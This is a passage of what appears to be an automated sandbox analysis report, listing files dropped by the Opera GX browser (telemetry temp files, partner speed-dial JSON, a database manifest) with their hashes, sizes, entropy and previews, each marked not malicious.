                                                                                                                                                                                                              SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[]

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\dd103963-9336-46a6-9788-b547beed1fc6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.7067408358451965
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:387FE78C930154DE2EF5C68608675E6B
                                                                                                                                                                                                              SHA1:AD5426B253452E228C335994A75B8FE2CF0BFC61
                                                                                                                                                                                                              SHA-256:781EA5D0CD186D8637DEBC9B6961F8DFFC7D8AC6B725B212D46D536615A50240
                                                                                                                                                                                                              SHA-512:665B424516A874E519A508A11D2BAF873D444E440E7BF1749380F8058FFBA9BFF2CAA355CA5CD24B7CE9F01765B6A5BC136CDAF74B566FE2ECD2E39682979A3F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// UsR/iw2g4Tgi8HezbOty6B3HoWiI9vMAg0tEbo27XC4=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ddb10f60-d184-4ef4-8303-012f27fe15cc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.710605954697875
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5CF1C3B53BD459380F73008A2E707FFB
                                                                                                                                                                                                              SHA1:81A3C5D4AB0B57A4A2EF127C55DAF3F2B3CC5553
                                                                                                                                                                                                              SHA-256:84508E00CC55851E96EC4739904F9374F6093C0F0CBB9A5274554E4C3A717DA6
                                                                                                                                                                                                              SHA-512:38289C0C402D5659E37BF6BD6ED52B0303A8BE06088D06889F0FB5D10670C2257AAE6A66E08E24ACE261EB7AB5AC4D7F54FBF222C427C7A652D81E282FABE415
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// I7n8edFAN4ZzM9l/j1rmxwXjEzPihgThpF/HcPyCkM8=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\e15acdac-f9a9-4964-93ed-2916dab091ae.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):311
                                                                                                                                                                                                              Entropy (8bit):5.4011413217183035
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AAC13A426AF2379F86169FB08F1C2633
                                                                                                                                                                                                              SHA1:DB0B9ED4D258CCBB1DBD27895644E8085C6F066E
                                                                                                                                                                                                              SHA-256:E89E35B8931889D7195FF8F5B9F34E8E31435DCD7F7E5461E84EBC495C9360FE
                                                                                                                                                                                                              SHA-512:6DDC53779A1EE699D98F685BB588E798DA51B3EB0C52B921F88174F3E43AA623ED02F12A15606525E03510211C6BAB088FCC47FFF5523B8AAA381296435ED25E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// J5rNq2L1qbcHytRCRY55yDLjHxdm+10tMQVQlrT3SJQ=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\e1843f04-4bc2-489a-9946-40c8b725933c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\e6072104-fca1-46d1-87f5-1bc0f648e774.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.731160591895734
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:BFAF47DDAD3E646D2D69F29016FBA2B4
                                                                                                                                                                                                              SHA1:CACB7BB615B21C24A40BAA29517192B532745F31
                                                                                                                                                                                                              SHA-256:0B3083F9DED1B2EB5F386436979723709E2E5A655DCC1E0049E50993C3B04ADA
                                                                                                                                                                                                              SHA-512:588D9DD8844D93D9BFCEE0DE68A383302E324A283C04CECF06C60E7BE9DF9CBEB998512A688A9CCFFB7F0D29923DB1AC0DD4E131BF661B889B9DFE96481957A1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// LJubmohaFvBLfGwYiq8z3v7O4hNQ33E0sc+ormEhrBw=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\e90be443-e03c-4c6b-8152-f99237cd0914.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.749512122506128
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DDFD296646FAD775153A7246CEDE4BBA
                                                                                                                                                                                                              SHA1:C88F59186523F8ECF975D065B27AA2D8BD245372
                                                                                                                                                                                                              SHA-256:BBBB154C3E29EAD11D7085A1F1A10FB6C9EB4CE289CE397F2CF460639E6340FE
                                                                                                                                                                                                              SHA-512:2E6EBEC81E846277D9870374F228037D6BBF807E1D3ACC54442F652FB580E6791D49D63522404F6A3241449EEC1BA139FF2B5FE7F7B28EDC56E02905531BF01F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// P4TuuxiHc30hbSfZJCnSWj0OvKx7IInYLpzcZZeLep0=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\f0848652-a531-4686-a8a8-7491b8e7c08f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.710975723037162
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:BA9CB723E030B788572B09E27EB8C446
                                                                                                                                                                                                              SHA1:227CA5768DB80623830F6752DCE1E4929E6DB20E
                                                                                                                                                                                                              SHA-256:735A97B2DF75036BB1293F67AC0E68ADE1BA34246B6783317508F85333B781F0
                                                                                                                                                                                                              SHA-512:7228EAC887F0DA6D8940566EDA0F1FCCCFDF40F0B7A225CBB6C518EA4AE9BCD6534948B9DDA9ACA279FB056D0B7500A1080F99F667D3D543B60C582CB0D81AB6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// tgrkb7KXuCd8spdxD6VupgJtgYTyvFbfRRMYBx0xoxM=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\f16af73e-41d5-46a3-90ad-01c5487b5bed.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (387)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):435
                                                                                                                                                                                                              Entropy (8bit):5.424409501669505
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3AC52E6B97DB508089E1B9BCFF62791B
                                                                                                                                                                                                              SHA1:4D4CA7DDD7176C755A5D095FA19893A89D3AFF1D
                                                                                                                                                                                                              SHA-256:62F4DE8315C13635140579162B71009DE261CBAB33D25D4CA46206267D8A09BC
                                                                                                                                                                                                              SHA-512:AF20816FB88CE29F81F5FFF841B7341E53DB2BEC0B2F2ACBA9A24DE22A0DE5E5B26001D0930ABB01C7E6FEB283A92781C643AB7418871DC079200C879F13EC38
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// QerI3fEmSY0qtBE/852jvGTcw2M14HI8ogc5felewpg=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\fb7b4b2c-98c7-489d-bdee-0688bed0021d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.724961947117169
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4C2515C83379B1A894B772201F322F74
                                                                                                                                                                                                              SHA1:3750048CF01736BA7AA07D4CEBC0211A111D3F51
                                                                                                                                                                                                              SHA-256:10F555B6167A128F07CFB9C30E5F6099C5BACBABA3882A6F8602F0BBAFD1AC29
                                                                                                                                                                                                              SHA-512:9C64CAE07E6FB67C23C588BD7E544A8A8DC3C36584B6FBE0226C4BC8E5705FCCC3AD65F30D10D786657CC2D75FDF8A59CEC9EBDEDBE1A4EF11B1978C716CFADC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// WrNrfeNkzbIUo6bWO9qsy2v7YvE0ttfdgB1RoNs+nmw=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\fec52b2e-6ca8-432a-9c2f-4a7a424a06fe.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.757317122452652
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A324597685EA4C7CA271FCA421235501
                                                                                                                                                                                                              SHA1:533905BE127D027CDC7A8CDBA6BA61F159EFA07F
                                                                                                                                                                                                              SHA-256:F5E1260C7913C0F41679E4059A446043D3A6ACEA3E76908CC7D607B050488DE9
                                                                                                                                                                                                              SHA-512:44AEBD416154E9AFFB9EAF1B20BA3B5BFD15060C6DB62C3D6D3D9E2B4871C7D31AD98013B10E1588CFB8EE74DA7A125A911768F2C002D5FC95FB8B80D6F4485B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// G5jdraimDYptDrMVCc6WBVbZvVajPUq+7xugy7yJ0Gw=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ff66fb75-0c7e-4ca1-8e91-f8ec259a3da8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3207)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3255
                                                                                                                                                                                                              Entropy (8bit):4.9532427217512165
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F358253D6D0270F9CA638C61894DE8F4
                                                                                                                                                                                                              SHA1:AC22E412CA36303D89C1BFE5E36DCA4ED09ECBE8
                                                                                                                                                                                                              SHA-256:D4CDFB9553D5818525BAE6177625AF8F391F24130D6AB0A65BA28B48E553936D
                                                                                                                                                                                                              SHA-512:3EC7FE43F1326FC4E714A04C1CA9950ACAA0F259AFB2303985FB675B9A898A6F2003503DD8D87AB13BBA5D30F30C7853E2E4F70B7C1ECC1B5F2BEB7CBF4F8156
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// IOM+zFTzL9VlyIE4sniWG8AnpYALIbONgmU+LtkcO4Q=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attribution","side-profiles","sitecheck-age","tiktok-panel","ui-compositor

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\partner_speeddials.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6636
                                                                                                                                                                                                              Entropy (8bit):5.535247759268424
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9F728B550944956E738E74883071507D
                                                                                                                                                                                                              SHA1:DBCAA6DEBA3C5AD4B29F9F33592EBB1A357DCCCA
                                                                                                                                                                                                              SHA-256:23ABE220F83F0E6A9AA50E6E676FCE8F95FB84AC2DF961441A4F0D2365BF334C
                                                                                                                                                                                                              SHA-512:CC799C2193A6B16E5BB14862B5B6AEC4857541E5C30B76F41D51B3DA153E303262E846C5A1F5A3BDB72D6340748FD09C66BBB0EA4E0D482D0C199D2A21F69B55
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[{"favicon_url":"https://sd-images.operacdn.com/api/v1/images/46b911f451044a30c1aa38f062e1a4939605f09b.png","impression_url":"","name":"Twitch","partner_id":"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=","ping_url":"https://speeddials.opera.com/api/v1/clicks/UThSMEtvZDZjOS9IK2kxdFJPeU1lSm04a3lUZVp2WXlDaFVyWnZBamxpWT0=","position":1,"real_url":"https://www.twitch.tv/","replaceable":false,"revision":"20190409","thumbnail_url":"https://sd-images.operacdn.com/api/v1/images/81b328383b9ac7aaff14a25cb73e54f89fd6abfd.png","url":"https://www.twitch.tv/"},{"favicon_url":"https://sd-images.operacdn.com/api/v1/images/c9b683a381b2136f24ae0d6f25b65ec65e333c60.png","impression_url":"","name":"Hero Wars","partner_id":"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=","ping_url":"https://speeddials.opera.com/api/v1/clicks/eVJNUGtXODJSL2tiWWFRUzlRaDQvYUh1ZDBjc040WHlyWlJ0RVdMZGhvOD0=","position":2,"real_url":"https://cafxq.com/g/p1w1p7evoza47a83735c56878d5ce4/?subid1=gx-us-admitad-herowars-sd-october-flatfee

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
